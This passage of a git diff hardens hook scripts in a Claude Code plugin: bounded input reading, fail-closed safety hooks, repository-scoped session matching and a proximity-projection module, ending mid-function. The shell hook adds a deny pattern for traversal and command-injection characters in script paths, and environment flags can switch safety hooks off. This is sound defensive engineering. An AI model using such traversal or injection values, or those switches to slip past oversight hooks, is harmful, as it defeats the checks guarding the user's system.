''; } +function golintSucceeded(result) { + return result.status === 0 && !result.error && (!result.stdout || result.stdout.trim() === ''); +} + /** * Run linter on staged files * @param {string[]} files @@ -294,7 +357,7 @@ function runLinter(files) { const eslintBin = process.platform === 'win32' ? 'eslint.cmd' : 'eslint'; const eslintPath = path.join(process.cwd(), 'node_modules', '.bin', eslintBin); if (fs.existsSync(eslintPath)) { - const result = runLinterCommand(eslintPath, ['--format', 'compact', ...jsFiles]); + const result = runLinterCommand(eslintPath, jsFiles); results.eslint = { success: result.status === 0, output: commandOutput(result) @@ -329,7 +392,7 @@ function runLinter(files) { } else { const result = runLinterCommand(golintPath, goFiles); results.golint = { - success: !result.stdout || result.stdout.trim() === '', + success: golintSucceeded(result), output: commandOutput(result) }; } @@ -481,4 +544,13 @@ if (require.main === module) { }); } -module.exports = { run, evaluate, validateCommitMessage, findFileIssues, isPlaceholderSecret }; +module.exports = { + run, + evaluate, + validateCommitMessage, + findFileIssues, + isPlaceholderSecret, + getLinterInvocation, + golintSucceeded, + runLinter +}; diff --git a/scripts/hooks/pre-bash-dispatcher.js b/scripts/hooks/pre-bash-dispatcher.js index b9ccad7d6..34bb19db8 100644 --- a/scripts/hooks/pre-bash-dispatcher.js +++ b/scripts/hooks/pre-bash-dispatcher.js @@ -2,23 +2,41 @@ 'use strict'; const { runPreBash } = require('./bash-hook-dispatcher'); +const { readStdinRaw, resolveMaxStdin } = require('./hook-input'); +const { isHookEnabled } = require('../lib/hook-flags'); -let raw = ''; -const MAX_STDIN = 1024 * 1024; - -process.stdin.setEncoding('utf8'); -process.stdin.on('data', chunk => { - if (raw.length < MAX_STDIN) { - const remaining = MAX_STDIN - raw.length; - raw += chunk.substring(0, remaining); - } +const maxStdin = resolveMaxStdin(process.env.ECC_HOOK_INPUT_MAX_BYTES, { + writeDiagnostic: message => process.stderr.write(message) }); -process.stdin.on('end', () => { +readStdinRaw(process.stdin, { + maxStdin, + truncated: /^(1|true|yes)$/i.test( + String(process.env.ECC_HOOK_INPUT_TRUNCATED_UPSTREAM || '') + ) +}).then(({ raw, truncated }) => { + if (!isHookEnabled('pre:bash:dispatcher', { + profiles: 'minimal,standard,strict' + })) { + process.exitCode = 0; + return; + } + + if (truncated) { + process.stderr.write( + `[Hook] stdin exceeded ${maxStdin} bytes for pre:bash:dispatcher; blocking because safety checks require the complete request\n` + ); + process.exitCode = 2; + return; + } + const result = runPreBash(raw); if (result.stderr) { process.stderr.write(result.stderr); } process.stdout.write(result.output); process.exitCode = result.exitCode; +}).catch(error => { + process.stderr.write(`[Hook] pre-bash dispatcher failed: ${error.message}\n`); + process.exitCode = 2; }); diff --git a/scripts/hooks/run-with-flags-shell.sh b/scripts/hooks/run-with-flags-shell.sh index 227b8fc7b..9599e303f 100755 --- a/scripts/hooks/run-with-flags-shell.sh +++ b/scripts/hooks/run-with-flags-shell.sh @@ -22,9 +22,31 @@ if [[ "$ENABLED" != "yes" ]]; then exit 0 fi -SCRIPT_PATH="${PLUGIN_ROOT}/${REL_SCRIPT_PATH}" -if [[ ! -f "$SCRIPT_PATH" ]]; then - echo "[Hook] Script not found for ${HOOK_ID}: ${SCRIPT_PATH}" >&2 +# Reject traversal / absolute / env-escape paths before touching the filesystem. +# Mirrors the containment check in run-with-flags.js (resolvedRoot prefix). +case "$REL_SCRIPT_PATH" in + /*|\\*|~*|*..*|*\$*|*\`*|*\|*|*\;*|*\&*|*\<*|*\>*|*\"*|*\'*|*\ *|*" "*) + echo "[Hook] Path traversal rejected for ${HOOK_ID}: ${REL_SCRIPT_PATH}" >&2 + printf '%s' "$INPUT" + exit 0 + ;; +esac + +# Canonicalize PLUGIN_ROOT (CLAUDE_PLUGIN_ROOT is env-controlled) and the +# candidate script path, then enforce containment inside the plugin root. +PLUGIN_ROOT_CANON="$(realpath -m "$PLUGIN_ROOT" 2>/dev/null || readlink -f "$PLUGIN_ROOT" 2>/dev/null || printf '%s' "$PLUGIN_ROOT")" +SCRIPT_PATH="${PLUGIN_ROOT_CANON}/${REL_SCRIPT_PATH}" +SCRIPT_CANON="$(realpath -m "$SCRIPT_PATH" 2>/dev/null || readlink -f "$SCRIPT_PATH" 2>/dev/null || printf '%s' "$SCRIPT_PATH")" +case "$SCRIPT_CANON" in + "$PLUGIN_ROOT_CANON"/*) ;; + *) + echo "[Hook] Path traversal rejected for ${HOOK_ID}: ${REL_SCRIPT_PATH}" >&2 + printf '%s' "$INPUT" + exit 0 + ;; +esac +if [[ ! -f "$SCRIPT_CANON" ]]; then + echo "[Hook] Script not found for ${HOOK_ID}: ${SCRIPT_CANON}" >&2 printf '%s' "$INPUT" exit 0 fi @@ -33,4 +55,4 @@ fi # This is needed by scripts like observe.sh that behave differently for PreToolUse vs PostToolUse HOOK_PHASE="${HOOK_ID%%:*}" -printf '%s' "$INPUT" | "$SCRIPT_PATH" "$HOOK_PHASE" +printf '%s' "$INPUT" | "$SCRIPT_CANON" "$HOOK_PHASE" diff --git a/scripts/hooks/run-with-flags.js b/scripts/hooks/run-with-flags.js index 9f6de3722..4b32bdbe8 100755 --- a/scripts/hooks/run-with-flags.js +++ b/scripts/hooks/run-with-flags.js @@ -12,28 +12,25 @@ const fs = require('fs'); const path = require('path'); const { spawnSync } = require('child_process'); const { isHookEnabled, isDryRun } = require('../lib/hook-flags'); +const { readStdinRaw: readBoundedStdin, resolveMaxStdin } = require('./hook-input'); const { buildPreToolUseAdditionalContext } = require('./pretooluse-visible-output'); -const MAX_STDIN = 1024 * 1024; +const FAIL_CLOSED_ON_TRUNCATION_HOOKS = new Set([ + 'pre:powershell:gateguard-fact-force', + 'pre:edit-write:gateguard-fact-force', + 'pre:mcp-health-check' +]); + +const MAX_STDIN = resolveMaxStdin(process.env.ECC_HOOK_INPUT_MAX_BYTES, { + writeDiagnostic: message => process.stderr.write(message) +}); function readStdinRaw() { - return new Promise(resolve => { - let raw = ''; - let truncated = false; - process.stdin.setEncoding('utf8'); - process.stdin.on('data', chunk => { - if (raw.length < MAX_STDIN) { - const remaining = MAX_STDIN - raw.length; - raw += chunk.substring(0, remaining); - if (chunk.length > remaining) { - truncated = true; - } - } else { - truncated = true; - } - }); - process.stdin.on('end', () => resolve({ raw, truncated })); - process.stdin.on('error', () => resolve({ raw, truncated })); + return readBoundedStdin(process.stdin, { + maxStdin: MAX_STDIN, + truncated: /^(1|true|yes)$/i.test( + String(process.env.ECC_HOOK_INPUT_TRUNCATED_UPSTREAM || '') + ) }); } @@ -68,7 +65,7 @@ function exitWithStdout(text, exitCode) { process.stderr.write('', exitWhenFlushed); } -function resolveHookResult(raw, output) { +function resolveHookResult(output) { if (typeof output === 'string' || Buffer.isBuffer(output)) { return { stdout: String(output), exitCode: 0 }; } @@ -83,23 +80,39 @@ function resolveHookResult(raw, output) { if (Object.prototype.hasOwnProperty.call(output, 'stdout')) { return { stdout: String(output.stdout ?? ''), exitCode }; } - return { stdout: exitCode === 0 ? raw : '', exitCode }; + return { stdout: '', exitCode }; } - return { stdout: raw, exitCode: 0 }; + return { stdout: '', exitCode: 0 }; } -function resolveLegacySpawnStdout(raw, result) { +function resolveLegacySpawnStdout(result) { const stdout = typeof result.stdout === 'string' ? result.stdout : ''; - if (stdout) { - return stdout; + return stdout || ''; +} + +function truncatedInputResult(hookId, maxStdin) { + if (!FAIL_CLOSED_ON_TRUNCATION_HOOKS.has(hookId)) return null; + if (hookId === 'pre:powershell:gateguard-fact-force' + || hookId === 'pre:edit-write:gateguard-fact-force') { + const gateGuardValue = String(process.env.ECC_GATEGUARD || '').trim().toLowerCase(); + const legacyDisabled = String(process.env.GATEGUARD_DISABLED || '').trim() === '1'; + if (legacyDisabled || ['0', 'false', 'off', 'disabled', 'disable'].includes(gateGuardValue)) { + return null; + } + } + if (hookId === 'pre:mcp-health-check') { + const failOpen = /^(1|true|yes)$/i.test( + String(process.env.ECC_MCP_HEALTH_FAIL_OPEN || '') + ); + if (failOpen) return null; } - if (Number.isInteger(result.status) && result.status === 0) { - return raw; - } - - return ''; + return { + stdout: '', + stderr: `BLOCKED: Hook input exceeded ${maxStdin} bytes, so ${hookId} could not safely inspect the complete request. Retry with a smaller tool input or explicitly disable this hook.`, + exitCode: 2 + }; } function getPluginRoot() { @@ -157,28 +170,28 @@ async function main() { // Oversized payloads: never echo the truncated string — a JSON document // cut mid-stream is treated by the harness as a hook failure, blocking the // tool call (#2222). Empty stdout + exit 0 means "no opinion", so - // pass-through paths fail open. The hook itself still runs and receives + // silent/no-op paths fail open. The hook itself still runs and receives // the truncated flag (run() context / ECC_HOOK_INPUT_TRUNCATED), so // security hooks like config-protection can still choose to block. const sanitizeEcho = text => (truncated && text === raw ? '' : text); if (truncated) { - process.stderr.write(`[Hook] stdin exceeded ${MAX_STDIN} bytes for ${hookId || 'unknown'}; suppressing pass-through (fail-open unless the hook blocks)\n`); + process.stderr.write(`[Hook] stdin exceeded ${MAX_STDIN} bytes for ${hookId || 'unknown'}; suppressing raw passthrough\n`); } if (!hookId || !relScriptPath) { - exitWithStdout(sanitizeEcho(raw), 0); + exitWithStdout('', 0); return; } if (!isHookEnabled(hookId, { profiles: profilesCsv })) { - exitWithStdout(sanitizeEcho(raw), 0); + exitWithStdout('', 0); return; } if (isDryRun()) { const preview = buildDryRunPreview(hookId, relScriptPath, profilesCsv, raw); process.stderr.write(preview); - exitWithStdout(sanitizeEcho(raw), 0); + exitWithStdout('', 0); return; } @@ -189,13 +202,20 @@ async function main() { // Prevent path traversal outside the plugin root if (!scriptPath.startsWith(resolvedRoot + path.sep)) { process.stderr.write(`[Hook] Path traversal rejected for ${hookId}: ${scriptPath}\n`); - exitWithStdout(sanitizeEcho(raw), 0); + exitWithStdout('', 0); return; } if (!fs.existsSync(scriptPath)) { process.stderr.write(`[Hook] Script not found for ${hookId}: ${scriptPath}\n`); - exitWithStdout(sanitizeEcho(raw), 0); + exitWithStdout('', 0); + return; + } + + const truncationBlock = truncated ? truncatedInputResult(hookId, MAX_STDIN) : null; + if (truncationBlock) { + writeStderr(truncationBlock.stderr); + exitWithStdout(truncationBlock.stdout, truncationBlock.exitCode); return; } @@ -207,7 +227,18 @@ async function main() { // which would interfere with the parent process or cause double execution. let hookModule; const src = fs.readFileSync(scriptPath, 'utf8'); - const hasRunExport = /\bmodule\.exports\b/.test(src) && /\brun\b/.test(src); + // Gate require() on concrete export syntax, not a bare word match: the old + // /\bmodule\.exports\b/ && /\brun\b/ test fired on comments, strings, and + // unrelated properties, causing require() — and its module-scope side + // effects — to run for hooks that export no run(). Still lexical (no parser + // dependency), but requires an actual export assignment form. + const RUN_EXPORT_PATTERNS = [ + /module\.exports\s*\.\s*run\s*=/, + /exports\s*\.\s*run\s*=/, + /module\.exports\s*=\s*\{[^}]*\brun\b/, + /module\.exports\s*=\s*(async\s+)?function\s+run\b/, + ]; + const hasRunExport = RUN_EXPORT_PATTERNS.some(re => re.test(src)); if (hasRunExport) { try { @@ -231,11 +262,11 @@ async function main() { truncated, maxStdin: MAX_STDIN }); - const result = resolveHookResult(raw, output); + const result = resolveHookResult(output); exitWithStdout(sanitizeEcho(result.stdout), result.exitCode); } catch (runErr) { process.stderr.write(`[Hook] run() error for ${hookId}: ${runErr.message}\n`); - exitWithStdout(sanitizeEcho(raw), 0); + exitWithStdout('', 0); } return; } @@ -256,7 +287,7 @@ async function main() { timeout: 30000 }); - const legacyStdout = sanitizeEcho(resolveLegacySpawnStdout(raw, result)); + const legacyStdout = sanitizeEcho(resolveLegacySpawnStdout(result)); if (result.stderr) process.stderr.write(result.stderr); if (result.error || result.signal || result.status === null) { diff --git a/scripts/hooks/session-end.js b/scripts/hooks/session-end.js index 9709aa95a..5c31a8e0b 100644 --- a/scripts/hooks/session-end.js +++ b/scripts/hooks/session-end.js @@ -11,7 +11,7 @@ const path = require('path'); const fs = require('fs'); -const { getSessionsDir, getDateString, getTimeString, getSessionIdShort, sanitizeSessionId, getProjectName, ensureDir, readFile, writeFile, runCommand, stripAnsi, log } = require('../lib/utils'); +const { getSessionsDir, getDateString, getTimeString, getSessionIdShort, sanitizeSessionId, getProjectName, getRepoIdentity, ensureDir, readFile, writeFile, runCommand, stripAnsi, log } = require('../lib/utils'); const { generateSessionSummary, getContextRemainingPct, getContextThreshold } = require('../lib/llm-summary'); const SUMMARY_START_MARKER = ''; @@ -130,7 +130,8 @@ function getSessionMetadata() { return { project: getProjectName() || 'unknown', branch: branchResult.success ? branchResult.output : 'unknown', - worktree: process.cwd() + worktree: process.cwd(), + repo: getRepoIdentity() }; } @@ -145,16 +146,20 @@ function buildSessionHeader(today, currentTime, metadata, existingContent = '') const date = extractHeaderField(existingContent, 'Date') || today; const started = extractHeaderField(existingContent, 'Started') || currentTime; - return [ + const lines = [ heading, `**Date:** ${date}`, `**Started:** ${started}`, `**Last Updated:** ${currentTime}`, `**Project:** ${metadata.project}`, `**Branch:** ${metadata.branch}`, - `**Worktree:** ${metadata.worktree}`, - '' - ].join('\n'); + `**Worktree:** ${metadata.worktree}` + ]; + if (metadata.repo) { + lines.push(`**Repo:** ${metadata.repo}`); + } + lines.push(''); + return lines.join('\n'); } function mergeSessionHeader(content, today, currentTime, metadata) { diff --git a/scripts/hooks/session-start-bootstrap.js b/scripts/hooks/session-start-bootstrap.js index 4da168bad..4897fc8cc 100644 --- a/scripts/hooks/session-start-bootstrap.js +++ b/scripts/hooks/session-start-bootstrap.js @@ -22,64 +22,80 @@ * 3. Delegates to `scripts/hooks/run-with-flags.js` with the `session:start` * event, which applies hook-profile gating and then runs session-start.js. * 4. Passes stdout/stderr through and forwards the child exit code. - * 5. If the plugin root cannot be found, emits a warning and passes stdin - * through unchanged so Claude Code can continue normally. + * 5. If the plugin root cannot be found, emits a warning and no stdout so + * Claude Code can continue normally without duplicating the event. */ const fs = require('fs'); const path = require('path'); const { spawnSync } = require('child_process'); const { resolveEccRoot } = require('../lib/resolve-ecc-root'); +const { readStdinRaw, resolveMaxStdin } = require('./hook-input'); +const { exitAfterFlush } = require('./lifecycle-hook-bootstrap'); -// Read the raw JSON event from stdin -const raw = fs.readFileSync(0, 'utf8'); +async function main() { + const maxStdin = resolveMaxStdin(process.env.ECC_HOOK_INPUT_MAX_BYTES, { + writeDiagnostic: message => process.stderr.write(message) + }); + const { raw, truncated } = await readStdinRaw(process.stdin, { + maxStdin, + truncated: /^(1|true|yes)$/i.test( + String(process.env.ECC_HOOK_INPUT_TRUNCATED_UPSTREAM || '') + ) + }); + if (truncated) { + process.stderr.write(`[SessionStart] stdin exceeded ${maxStdin} bytes; forwarded a bounded prefix\n`); + } -// Path (relative to plugin root) to the hook runner -const rel = path.join('scripts', 'hooks', 'run-with-flags.js'); + // Path (relative to plugin root) to the hook runner + const rel = path.join('scripts', 'hooks', 'run-with-flags.js'); // Resolve the ECC plugin root via the shared resolver, probing for the runner // so a valid root is one that actually contains run-with-flags.js. -const root = resolveEccRoot({ probe: rel }); -const script = path.join(root, rel); + const root = resolveEccRoot({ probe: rel }); + const script = path.join(root, rel); -if (fs.existsSync(script)) { - const result = spawnSync( - process.execPath, - [script, 'session:start', 'scripts/hooks/session-start.js', 'minimal,standard,strict'], - { - input: raw, - encoding: 'utf8', - env: process.env, - cwd: process.cwd(), - timeout: 30000, + if (fs.existsSync(script)) { + const result = spawnSync( + process.execPath, + [script, 'session:start', 'scripts/hooks/session-start.js', 'minimal,standard,strict'], + { + input: raw, + encoding: 'utf8', + env: { + ...process.env, + ECC_HOOK_INPUT_MAX_BYTES: String(maxStdin), + ECC_HOOK_INPUT_TRUNCATED_UPSTREAM: truncated ? '1' : '0' + }, + cwd: process.cwd(), + timeout: 30000, + } + ); + + const stdout = typeof result.stdout === 'string' ? result.stdout : ''; + let stderr = typeof result.stderr === 'string' ? result.stderr : ''; + let exitCode = Number.isInteger(result.status) ? result.status : 0; + + if (result.error || result.status === null || result.signal) { + const reason = result.error + ? result.error.message + : result.signal + ? 'signal ' + result.signal + : 'missing exit status'; + stderr += '[SessionStart] ERROR: session-start hook failed: ' + reason + '\n'; + exitCode = 1; } + + exitAfterFlush(stdout, stderr, exitCode); + return; + } + + process.stderr.write( + '[SessionStart] WARNING: could not resolve ECC plugin root; skipping session-start hook\n' ); - - const stdout = typeof result.stdout === 'string' ? result.stdout : ''; - if (stdout) { - process.stdout.write(stdout); - } else { - process.stdout.write(raw); - } - - if (result.stderr) { - process.stderr.write(result.stderr); - } - - if (result.error || result.status === null || result.signal) { - const reason = result.error - ? result.error.message - : result.signal - ? 'signal ' + result.signal - : 'missing exit status'; - process.stderr.write('[SessionStart] ERROR: session-start hook failed: ' + reason + '\n'); - process.exit(1); - } - - process.exit(Number.isInteger(result.status) ? result.status : 0); } -process.stderr.write( - '[SessionStart] WARNING: could not resolve ECC plugin root; skipping session-start hook\n' -); -process.stdout.write(raw); +main().catch(error => { + process.stderr.write(`[SessionStart] bootstrap failed: ${error.message}\n`); + process.exitCode = 0; +}); diff --git a/scripts/hooks/session-start.js b/scripts/hooks/session-start.js index 63854aff1..9a859565a 100644 --- a/scripts/hooks/session-start.js +++ b/scripts/hooks/session-start.js @@ -14,6 +14,8 @@ const { getSessionSearchDirs, getLearnedSkillsDir, getProjectName, + getRepoIdentity, + sameRepoIdentity, findFiles, ensureDir, readFile, @@ -254,6 +256,7 @@ function pruneExpiredSessions(searchDirs, retentionDays) { * Session files written by session-end.js contain header fields like: * **Project:** my-project * **Worktree:** /path/to/project + * **Repo:** /path/to/main-worktree/.git * * This function reads each session file once, caching its content, and * returns both the selected session object and its already-read content @@ -261,11 +264,18 @@ function pruneExpiredSessions(searchDirs, retentionDays) { * * Priority (highest to lowest): * 1. Exact worktree (cwd) match — most recent - * 2. Same project name match for legacy sessions without Worktree metadata - * 3. No injection when sessions belong to a different worktree/project + * 2. Repository identity match: the session was recorded in another + * worktree or subdirectory of the same repository. Identity is the + * main worktree's common git dir (issue #3160), taken from the + * recorded **Repo:** field or resolved from the recorded **Worktree:** + * path for older session files. Unrelated repositories never match. + * 3. Same project name match for legacy sessions without Worktree/Repo + * metadata + * 4. No injection when sessions belong to a different repository * * Sessions are already sorted newest-first, so the first match in each - * category wins. + * category wins; the scan continues past repository and project matches so + * an exact worktree match always takes precedence. * * @param {Array} sessions - Deduplicated session list, sorted newest-first. * @param {string} cwd - Current working directory (process.cwd()). @@ -279,7 +289,17 @@ function selectMatchingSession(sessions, cwd, currentProject) { // Normalize cwd once outside the loop to avoid repeated syscalls const normalizedCwd = normalizePath(cwd); + const currentRepoId = getRepoIdentity(cwd); + const repoIdByWorktree = new Map(); + const repoIdOfRecordedWorktree = (recordedWorktree) => { + if (!repoIdByWorktree.has(recordedWorktree)) { + repoIdByWorktree.set(recordedWorktree, getRepoIdentity(recordedWorktree)); + } + return repoIdByWorktree.get(recordedWorktree); + }; + let repoMatch = null; + let repoMatchContent = null; let projectMatch = null; let projectMatchContent = null; let readableSessions = 0; @@ -289,9 +309,11 @@ function selectMatchingSession(sessions, cwd, currentProject) { if (!content) continue; readableSessions++; - // Extract **Worktree:** field + // Extract **Worktree:** and **Repo:** fields const worktreeMatch = content.match(/\*\*Worktree:\*\*\s*(.+)$/m); const sessionWorktree = worktreeMatch ? worktreeMatch[1].trim() : ''; + const repoFieldMatch = content.match(/\*\*Repo:\*\*\s*(.+)$/m); + const sessionRepo = repoFieldMatch ? repoFieldMatch[1].trim() : ''; // Exact worktree match — best possible, return immediately // Normalize both paths to handle symlinks and case-insensitive filesystems @@ -299,9 +321,25 @@ function selectMatchingSession(sessions, cwd, currentProject) { return { session, content, matchReason: 'worktree' }; } + // Repository identity match (#3160): the summary lookup is scoped to the + // repository, not the cwd path, so a session recorded in worktree A is + // eligible in worktree B only when both resolve to the same common git + // dir. Unrelated repositories never share. + if (!repoMatch && currentRepoId && (sessionRepo || sessionWorktree)) { + // The recorded Repo field may carry a different path form than the + // live lookup (8.3 short names on Windows runners, case, separators), + // so compare with filesystem-identity fallback rather than ===. + const sessionRepoId = sessionRepo || repoIdOfRecordedWorktree(sessionWorktree); + if (sessionRepoId && sameRepoIdentity(sessionRepoId, currentRepoId)) { + repoMatch = session; + repoMatchContent = content; + } + } + // Project name match is only safe for legacy session files written before - // Worktree metadata existed. A different explicit Worktree is not a match. - if (!projectMatch && currentProject && !sessionWorktree) { + // Worktree/Repo metadata existed. A different explicit Worktree or Repo + // is not a match. + if (!projectMatch && currentProject && !sessionWorktree && !sessionRepo) { const projectFieldMatch = content.match(/\*\*Project:\*\*\s*(.+)$/m); const sessionProject = projectFieldMatch ? projectFieldMatch[1].trim() : ''; if (sessionProject && sessionProject === currentProject) { @@ -311,6 +349,10 @@ function selectMatchingSession(sessions, cwd, currentProject) { } } + if (repoMatch) { + return { session: repoMatch, content: repoMatchContent, matchReason: 'repo' }; + } + if (projectMatch) { return { session: projectMatch, content: projectMatchContent, matchReason: 'project' }; } diff --git a/scripts/install-apply.js b/scripts/install-apply.js index 1435d2ff6..722f7d6b6 100755 --- a/scripts/install-apply.js +++ b/scripts/install-apply.js @@ -132,6 +132,13 @@ function printHumanPlan(plan, dryRun) { } } + if (Array.isArray(plan.reconciledExcludedPaths) && plan.reconciledExcludedPaths.length > 0) { + console.log('\nReconciled excluded paths:'); + for (const removedPath of plan.reconciledExcludedPaths) { + console.log(`- removed ${removedPath}`); + } + } + if (!dryRun) { console.log(`\nDone. Install-state written to ${plan.installStatePath}`); } diff --git a/scripts/lib/agent-proximity/distance.js b/scripts/lib/agent-proximity/distance.js index 2cddcbb89..8042d3e5e 100644 --- a/scripts/lib/agent-proximity/distance.js +++ b/scripts/lib/agent-proximity/distance.js @@ -270,6 +270,21 @@ function agentPriority(agent) { return { progress, ageMs: startedAt ? Date.now() - startedAt : 0 }; } +/** + * Right-of-way between two agents: more progress wins; tie goes to the earlier + * start (greater age); final deterministic tiebreak on agentId so the maneuver + * is coordinated. Returns { hold, steer } as agentIds. + */ +function rightOfWay(a, b) { + const pa = agentPriority(a); + const pb = agentPriority(b); + let aHasPriority; + if (pa.progress !== pb.progress) aHasPriority = pa.progress > pb.progress; + else if (pa.ageMs !== pb.ageMs) aHasPriority = pa.ageMs > pb.ageMs; + else aHasPriority = String(a.agentId) < String(b.agentId); + return { hold: aHasPriority ? a.agentId : b.agentId, steer: aHasPriority ? b.agentId : a.agentId }; +} + /** * TCAS-style advisory between two agents given their collision risk. * Returns { level: 'clear'|'advisory'|'resolution', risk, transmit, steer, hold }. @@ -284,17 +299,7 @@ function advise(a, b, graph = {}, options = {}) { return { level: 'clear', risk, distance, channels, transmit: false, steer: null, hold: null }; } - const pa = agentPriority(a); - const pb = agentPriority(b); - // Right-of-way: more progress wins; tie → earlier start (greater age) wins; - // final deterministic tiebreak on agentId so the maneuver is coordinated. - let aHasPriority; - if (pa.progress !== pb.progress) aHasPriority = pa.progress > pb.progress; - else if (pa.ageMs !== pb.ageMs) aHasPriority = pa.ageMs > pb.ageMs; - else aHasPriority = String(a.agentId) < String(b.agentId); - - const hold = aHasPriority ? a.agentId : b.agentId; - const steer = aHasPriority ? b.agentId : a.agentId; + const { hold, steer } = rightOfWay(a, b); if (risk < thresholds.ra) { // Traffic advisory: exchange intent, no one has to move yet. @@ -324,6 +329,7 @@ module.exports = { treeRisk, collisionRisk, agentPriority, + rightOfWay, advise, closureRate, _internal: { normalizePath, segments, jaccard } diff --git a/scripts/lib/agent-proximity/graph.js b/scripts/lib/agent-proximity/graph.js index 98bc05a3d..3d4c42ad6 100644 --- a/scripts/lib/agent-proximity/graph.js +++ b/scripts/lib/agent-proximity/graph.js @@ -25,9 +25,11 @@ function toRepoRel(repoRoot, absPath) { // Match relative specifiers only (./ or ../). Bare specifiers are node_modules // and never the target of an in-repo collision. +// Consume import whitespace once; a word boundary before `from` avoids +// overlapping whitespace quantifiers on incomplete import statements. const SPEC_PATTERNS = [ /require\(\s*['"](\.[^'"]+)['"]\s*\)/g, - /import\s+(?:[^'"]*?\s+from\s+)?['"](\.[^'"]+)['"]/g, + /import\s+(?!\s)(?:[^'"]*?\bfrom\s+)?['"](\.[^'"]+)['"]/g, /import\(\s*['"](\.[^'"]+)['"]\s*\)/g, /export\s+(?:\*|\{[^}]*\})\s+from\s+['"](\.[^'"]+)['"]/g ]; diff --git a/scripts/lib/agent-proximity/index.js b/scripts/lib/agent-proximity/index.js index 6815fe291..429c2e17d 100644 --- a/scripts/lib/agent-proximity/index.js +++ b/scripts/lib/agent-proximity/index.js @@ -135,7 +135,8 @@ function scanAirspace(agents, graph = {}, options = {}) { b: b.agentId, risk: verdict.risk, distance: verdict.distance, - level: verdict.level + level: verdict.level, + channels: verdict.channels }); if (verdict.level !== 'clear') { advisories.push({ a: a.agentId, b: b.agentId, ...verdict }); diff --git a/scripts/lib/agent-proximity/projection.js b/scripts/lib/agent-proximity/projection.js new file mode 100644 index 000000000..08a62a685 --- /dev/null +++ b/scripts/lib/agent-proximity/projection.js @@ -0,0 +1,305 @@ +'use strict'; + +/** + * 2D projection of the pairwise proximity channels for the control-plane view. + * + * Input: one row per agent pair, the shipped channel vector + * x = [x_tree, x_overlap, x_dep] each in [0, 1] + * (distance.js: treeRisk, overlapRisk, dependencyRisk). + * + * Pipeline (COMPETITION-AND-VISION section 4, "Normalization and projection"): + * 1. z-score each channel against a rolling window of pair samples, + * 2. clip the tails at the 2.5th and 97.5th percentile of that window, + * 3. map back to [0, 1], + * 4. apply the static channel weights (same omega as the noisy-OR), + * 5. PCA over the weighted matrix, keep the first two components. + * + * Agent positions are the risk-weighted centroid of the projected points of + * the pairs the agent belongs to. Nothing here changes the risk or the + * advisory: the projection is a display, not a decision. + * + * No runtime dependencies. The eigen-decomposition is a Jacobi sweep over the + * 3x3 covariance matrix, which is exact enough for a display. + */ + +const CHANNEL_ORDER = ['tree', 'overlap', 'dependency']; +const CHANNEL_LABELS = { tree: 'x_tree', overlap: 'x_overlap', dependency: 'x_dep' }; + +const PROJECTION_DEFAULTS = { + windowSize: 512, + minWindowForZscore: 8, + clipPercentiles: [2.5, 97.5], + components: 2 +}; + +function finite(x) { + return Number.isFinite(x) ? x : 0; +} + +function mean(values) { + if (values.length === 0) return 0; + let s = 0; + for (const v of values) s += v; + return s / values.length; +} + +function stddev(values, mu) { + if (values.length < 2) return 0; + let s = 0; + for (const v of values) s += (v - mu) * (v - mu); + return Math.sqrt(s / (values.length - 1)); +} + +/** + * Linear-interpolated percentile (p in [0, 100]) of a numeric array. + */ +function percentile(values, p) { + const sorted = values.filter(Number.isFinite).slice().sort((a, b) => a - b); + if (sorted.length === 0) return 0; + if (sorted.length === 1) return sorted[0]; + const rank = (Math.min(100, Math.max(0, p)) / 100) * (sorted.length - 1); + const lo = Math.floor(rank); + const hi = Math.ceil(rank); + if (lo === hi) return sorted[lo]; + return sorted[lo] + (sorted[hi] - sorted[lo]) * (rank - lo); +} + +/** + * Rolling window of pair channel samples. Each push records one sample vector; + * the window keeps the newest `size` samples. `stats()` returns, per channel, + * the mean, standard deviation and clip bounds (in z units) used to normalize. + */ +function createProjectionWindow(options = {}) { + const size = Number.isFinite(options.windowSize) && options.windowSize > 0 ? Math.floor(options.windowSize) : PROJECTION_DEFAULTS.windowSize; + const [pLo, pHi] = Array.isArray(options.clipPercentiles) && options.clipPercentiles.length === 2 ? options.clipPercentiles : PROJECTION_DEFAULTS.clipPercentiles; + const samples = []; + + return { + size, + push(vector) { + const row = CHANNEL_ORDER.map((_, i) => finite(vector[i])); + samples.push(row); + if (samples.length > size) samples.splice(0, samples.length - size); + return samples.length; + }, + get length() { + return samples.length; + }, + stats() { + const per = CHANNEL_ORDER.map((channel, i) => { + const column = samples.map(row => row[i]); + const mu = mean(column); + const sigma = stddev(column, mu); + const z = sigma > 0 ? column.map(v => (v - mu) / sigma) : column.map(() => 0); + return { + channel, + mean: mu, + stddev: sigma, + clipLow: percentile(z, pLo), + clipHigh: percentile(z, pHi) + }; + }); + return { samples: samples.length, percentiles: [pLo, pHi], channels: per }; + }, + reset() { + samples.length = 0; + } + }; +} + +/** + * z-score one sample against the window stats, clip to the percentile bounds, + * map back to [0, 1]. A channel with zero variance maps to 0.5. + */ +function normalizeSample(vector, stats) { + return CHANNEL_ORDER.map((_, i) => { + const s = stats.channels[i]; + const v = finite(vector[i]); + if (!(s.stddev > 0)) return 0.5; + const z = (v - s.mean) / s.stddev; + const lo = s.clipLow; + const hi = s.clipHigh; + if (!(hi > lo)) return 0.5; + const clipped = Math.min(hi, Math.max(lo, z)); + return (clipped - lo) / (hi - lo); + }); +} + +/** + * Jacobi eigen-decomposition of a small symmetric matrix. Returns eigenvalues + * (descending) and the matching unit eigenvectors (as columns). + */ +function symmetricEigen(matrix) { + const n = matrix.length; + const a = matrix.map(row => row.slice()); + const v = Array.from({ length: n }, (_, i) => Array.from({ length: n }, (_, j) => (i === j ? 1 : 0))); + for (let sweep = 0; sweep < 64; sweep += 1) { + let off = 0; + for (let p = 0; p < n; p += 1) for (let q = p + 1; q < n; q += 1) off += a[p][q] * a[p][q]; + if (off < 1e-18) break; + for (let p = 0; p < n; p += 1) { + for (let q = p + 1; q < n; q += 1) { + if (Math.abs(a[p][q]) < 1e-14) continue; + const theta = (a[q][q] - a[p][p]) / (2 * a[p][q]); + const t = Math.sign(theta || 1) / (Math.abs(theta) + Math.sqrt(theta * theta + 1)); + const c = 1 / Math.sqrt(t * t + 1); + const s = t * c; + for (let k = 0; k < n; k += 1) { + const akp = a[k][p]; + const akq = a[k][q]; + a[k][p] = c * akp - s * akq; + a[k][q] = s * akp + c * akq; + } + for (let k = 0; k < n; k += 1) { + const apk = a[p][k]; + const aqk = a[q][k]; + a[p][k] = c * apk - s * aqk; + a[q][k] = s * apk + c * aqk; + } + for (let k = 0; k < n; k += 1) { + const vkp = 